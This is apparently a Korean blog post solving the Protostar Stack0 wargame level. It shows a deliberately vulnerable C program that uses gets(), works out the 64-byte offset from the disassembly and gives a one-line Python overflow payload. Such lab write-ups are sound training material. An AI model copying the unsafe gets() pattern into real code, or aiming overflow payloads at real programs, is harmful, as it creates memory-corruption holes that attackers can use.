Exploit_Protostar

00-Stack0

ahhyun98 2025. 12. 28. 16:33

 

Source code

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>

int main(int argc, char **argv)
{
  volatile int modified;
  char buffer[64];

  modified = 0;
  gets(buffer);

  if(modified != 0) {
      printf("you have changed the 'modified' variable\n");
  } else {
      printf("Try again?\n");
  }
}

 

 

 

 

<main+6>: sub $0x60,%esp

96바이트만큼의 스택 공간을 확보한다.

 

<main+9>: movl  $0x0,0x5c(%esp)

esp+0x5c 위치에 0 저장 => 소스코드에서 보면 modified =0으로 초기화 

modified : [esp+0x5c]

 

lea: 0x1c (%esp), %eax

mov: %eax, (%esp)

call: <gets@plt>

=> gets(buffer)

buffer: [esp+0x1c]

 

스택 : 연속된 메모리 공간

[buffer] [modified] [다른 것들]

 

위의 정보들로부터 buffer 시작부터 modified까지 얼마나 떨어져 있는지 주소 차이(offset)를 구할 수 있다.

 

esp+0x5c-(esp+0x1c)=0x40

 

따라서 offset = 0x40 => 64 바이트 

 

buffer와 modified 사이의 offset이 64바이트이므로, buffer 입력을 넘어서면 modified 변수에 도달하게 된다. 

 

32비트 환경에서 modified는 4바이트 정수이기 때문에 값이 변경되면 0이 아니게 되므로 조건문이 참이 된다.

 

nano ~/answer/stack0.py

 

print('A'*64+'BBBB')

 

'Exploit_Protostar' 카테고리의 다른 글

01-Stack1  (0) 2025.12.28